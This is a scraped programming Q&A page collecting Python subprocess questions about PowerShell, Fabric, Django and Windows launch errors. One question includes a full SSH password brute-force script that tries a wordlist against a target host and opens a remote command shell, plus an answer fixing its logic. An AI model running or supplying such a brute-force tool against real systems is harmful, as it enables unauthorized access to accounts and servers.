Python calling a function from imported module causes permission error - python

I wanted to use PowerShell command through Python so I got this function
Functions.py:
import subprocess as sp
def makeconnection():
proc = sp.Popen('powershell add-vpnconnection ...my credentials...', stdout= sp.PIPE)
if __name__ == "__main__":
makeconnection()
Main.py:
from Functions import makeconnection
#...Codes...
try:
appdatapath = os.getenv('appdata')
with open(appdatapath + r'\Microsoft\Network\Connections\Pbk\rasphone.pbk', "r+") as f:
if f.read().find('CookieVPN') != -1:
print("VPN Connection: OK")
else:
#1. This code doesn't work
makeconnection()
#2. Then if I replace the line above with this one it works
proc = sp.Popen('powershell add-vpnconnection ...my credentials...', stdout=sp.PIPE)
print("VPN Connection: Created")
except Exception as e:
print('\n\nSomething went wrong while accessing the connection\n' + '-' * 15)
print(e)
input('\n\n *** Press Enter To Exit ***')
sys.exit()
#...Rest of the Codes...
It
works fine on its own but if I import this into another .py file and call it from there it raises the "permission denied" error from PowerShell.
What causes this and how to fix it?

Related

How to know what the error is when I use subprocess.run() in python with exception?

I am converting bash code to python.
I use mkdir of bash through subprocess.run() in python.
In the following example, subprocess.run() raise an exception.
However I could not check what the error is because I could not
get an resultant object returned by subprocess.run().
Are there any smart ways to know what the error was?
Or should not I use 'try exception' here?
import sys
import subprocess
directory = '/tmp/test_dir'
options = ''
try:
result=subprocess.run(['mkdir', options, directory], check=True)
except subprocess.CalledProcessError as ex:
print("In this example, subprocess.run() above raise an exception CalledProcessError.")
# print("I would like to check result.returncode = {0}. But it failed because object 'result' is not defined.".format(result.returncode))
except Exception as ex:
sys.stderr.write("This must not happen.")
sys.exit(1)
Thank you very much.
you can always do
import subprocess
# make the subprocess
pr = subprocess.Popen(['your', 'command', 'here'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# blocks until process finishes
out, err = pr.communicate()
# check the return code
if pr.returncode != 0:
sys.stderr.write("oh no")

AttributeError: 'NoneType' object has no attribute 'sendline' yet module contains the attribute having tested it another way?

After importing the relevant libraries and creating a connect function using the pxssh library, I have created my main function to accept the arguments of 'host, 'user' and the filename that I give.
The program successfully reads the file and parses each password string into the s.login method and returns 'success' message after finding the password. This I assume means that the connection has been made with the ssh server. But from the point of 'con = connect' I get no print statement to say that [SSH connected...] further than that I get the command line prompt after it successfully finds the password but after entering a command I get an attribute error against con.sendline -
>ls -l
Traceback (most recent call last):
File "sshBruteFpw.py", line 60, in <module>
main()
File "sshBruteFpw.py", line 52, in main
con.sendline(command)
AttributeError: 'NoneType' object has no attribute 'sendline'
root#kali:~/Desktop/scripts#
I am at a loss as to why con.sendline has no attribute 'sendline' when I know that the library contains this method. I have tested this sendline method in other ways and it will work.
Any help on this much appreciated. Thanks in advance...
import pxssh
import argparse
import time
import sys
import getpass
def connect(host, user, password):
Fails = 0
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] password found! ' + password
return s
except Exception, e:
if Fails > 5:
print '[-] Too many Socket Timeouts!!'
sys.exit(1)
elif 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
return connect(host, user, password)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
return connect(host, user, password)
return None
def main():
parser = argparse.ArgumentParser()
parser.add_argument('host', help='Specify Target Host')
parser.add_argument('user', help='Specify Target User')
parser.add_argument('file', help='Specify Password File')
args = parser.parse_args()
if args.host and args.user and args.file: #if these args are all true
with open(args.file, 'r') as infile: #open with and read only the specified file as 'infile'
for line in infile:
password = line.strip('\r\n')#read and strip each line
print "[+] testing passsword " + str(password) #print statement + the read PW being read from the file(converts all to str in case there is a numerical value as well)
con = connect(args.host, args.user, password)
if con: #if we get a connection
print "[+] [SSH Connected, Issue Commands (q or Q) to quit]" #just shows uset that they have made a connection and know how to quit
command = raw_input(">")
while command != 'q' and command != 'Q':
con.sendline(command)
con.prompt()
print con.before
command = raw_input(">")
else:
print parser.usage
sys.exit(1)
if __name__ == '__main__':
main()
Unless the indentation is very off, you are going into that branch of the code, even if you don't have con set up:
if con: #if we get a connection
print "[+] [SSH Connected, Issue Commands (q or Q) to quit]" #just shows uset that they have made a connection and know how to quit
command = raw_input(">")
while command != 'q' and command != 'Q':
con.sendline(command)
after the second line, there should be continue, if the connection failed, isn't it?

Python: Using Fabric, does not continue to next function in main()

I have a Python 2.7 Script that uses fabric and it uses a hostfile that has 4 hosts on it. I am having issues with it exiting after the second function is ran. Once it hits the "except" in checkHostFile it quits and does not follow the main() and go to the installedChoice where it asks user for a raw_input. I also ran the script so that it does not hit the "except" in checkHostFile and just does "try" but it will then just hang after running on the last host. Anyone know how I could rewrite it so it continues and does not exit or hang after finishing the checkHostFile()??
I run the script by running python "filename" and it will run the main() function.
Note: I have tried running it also with "pass" in the "except" in checkHostFile function and it still exits.
from fabric.api import *
from getpass import getpass
import os
import sys
import tsmFunctions
import logging
import traceback
env.hosts = open('hosts_file', 'r').readlines()
env.roledefs = {
'localhost': ['localhost'],
}
with open("./original_hostlist") as f:
env.roledefs['installhosts'] = f.readlines()
def main():
print 67 * "-"
original_hostlist = raw_input('Do you want to proceed? [yes/no]: ')
print 67 * "-"
if original_hostlist == 'yes':
execute(removeFiles)
execute(checkHostFile)
installedChoice = raw_input('Is this a new install, uninstall or an upgrade? [install/uninstall/upgrade](or enter exit to quit): ')
start(installedChoice)
elif original_hostlist == 'no':
print "Goodbye!"
#roles('localhost')
def removeFiles():
with settings(warn_only=True):
with hide ('running','output','stderr','stdout','aborts','everything'):
local('rm host_file_bad')
local('rm hosts_file')
#roles('installhosts')
#task
#serial
def checkHostFile():
with settings(warn_only=True):
response = run('uname -r | grep -c \"el\"')
if response == '1':
f = open('hosts_file', 'a')
f.write(env.host + "\n")
f.close()
else:
f = open('host_file_bad', 'a')
f.write(sys.stderr + "\n")
f.close()
if __name__ == '__main__':
main()
Update: i have modified function checkHostFile() to use if and else: The script is going to the next function if it only hits the if in checkHostFile. But it is still failing if it goes to else (it goes to else if the host is unreachable and cannot do the fabric run command).
MacBook-Pro-2:$ python pythonfile.py
[localhost] Executing task 'removeFiles'
Fatal error: Name lookup failed for fake.apple.com
Underlying exception:
nodename nor servname provided, or not known
Aborting.

Why does manage.py execution script run twice when using it under if __name__ == "__main__"

Goal.
When launching django framework also launch other PY scripts that rely on django objects.
Get the server and port number from a config file.
Problem:
The Popen seems to run twice and I'm not sure why?
#!/usr/bin/env python
import os
import sys
import subprocess
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "test.localsettings")
from django.core.management import execute_from_command_line
def getargs():
try:
f = open("config")
data = []
for line in f:
data.append(line)
f.close()
server = data[0].rstrip()
port = data[1]
newargs = ['lmanage.py', 'runserver', server + ':' + port]
return newargs
except Exception as e:
print e
pass
if __name__ == "__main__":
#Launching Checker
try:
checker = subprocess.Popen([sys.executable, os.path.join(os.getcwd() + "checker.py")], stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
print checker.pid
except Exception as e:
print e
pass
print "end"
execute_from_command_line(getargs())
Outputs:
16200
end
29716
end
Validating models...
This is my first attempt so if anyone knows of a better way to do this then feel free to let me know.
Thanks everyone.
Your code is launching the runserver command, which causes Django to use the reloader, which in turn means that your code is reexecuted as if it were entered on the command line. If you use --noreload when you launch runserver the issue will disappear.
So basically, the same facility that automatically reloads Django when you modify your source files, which is so useful in development, is now causing your code to execute twice.

Python WindowsError 2, Discover Which File is Missing

I have a python script which takes a Java jar file from my Continuous Integration Server and starts it after each build. I am getting a strange error when I attempt to run the Jar file though, "[Error 2] The system cannot find the file specified". Now this would make sense if the file I am looking to utilize was missing or I had the wrong path, but os.path.exists() returns true on the file just before the WindowsError occurs. So, I am wondering which file can't be found... perhaps some part of my startup command is being interpreted as a file argument (which would understandably be missing)? So my question is, how do I discover which file Windows is failing to find in the case of error 2?
To ensure that my issue is not related to some other error in my script, here are the relevant bits:
serverConstants.py:
import os
__author__ = 'Brendon Dugan'
serverJarName = "eloquence-server.jar"
backupJarName = "eloquence-server-backup.jar"
deployedJarName = "eloquence-server-jar-with-dependencies.jar"
serverLocation = os.path.join("C:" + os.path.sep, "eloquence-alpha")
serverFlag = "-isServer=true"
javaVariant = "javaw"
javaExecutable = os.path.join(os.environ["JAVA_HOME"], "bin", javaVariant)
serverStartCommand = ("start \"Eloquence Server\" /d" +
serverLocation + " \"" + javaExecutable + "\" -jar " +
os.path.join(serverLocation, serverJarName) + " " + serverFlag)
startServer.py:
import os
import subprocess
import traceback
import psutil
import serverConstants
def startServer(server):
if os.path.exists(server):
print "Server seems to exist"
os.chdir(serverConstants.serverLocation)
kwargs = {}
DETACHED_PROCESS = 0x00000008
CREATE_NEW_PROCESS_GROUP = 0x00000200
kwargs.update(creationflags=DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP)
try:
print serverConstants.serverStartCommand
print os.getcwd()
eloquenceProcess = subprocess.Popen(serverConstants.serverStartCommand, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, **kwargs)
print eloquenceProcess.pid
print "Server started successfully"
return 0
except WindowsError, error:
print "A Windows Error Has Occurred"
print error.strerror
print error
print "An error occurred while starting the server"
return 1
if __name__ == "__main__":
print "Preparing to start server"
server = os.path.join(serverConstants.serverLocation, serverConstants.serverJarName)
print server
if startServer(server) == 0:
exit(0)
exit(1)
Full Program Output:
Preparing to start server
C:\eloquence-alpha\eloquence-server.jar
Server seems to exist
start "Eloquence Server" /dC:\eloquence-alpha "C:\Program Files\Java\jdk1.7.0_11\bin\javaw" -jar C:\eloquence-alpha\eloquence-server.jar -isServer=true
C:\eloquence-alpha
A Windows Error Has Occurred
The system cannot find the file specified
[Error 2] The system cannot find the file specified
An error occurred while starting the server
Process finished with exit code 1

Categories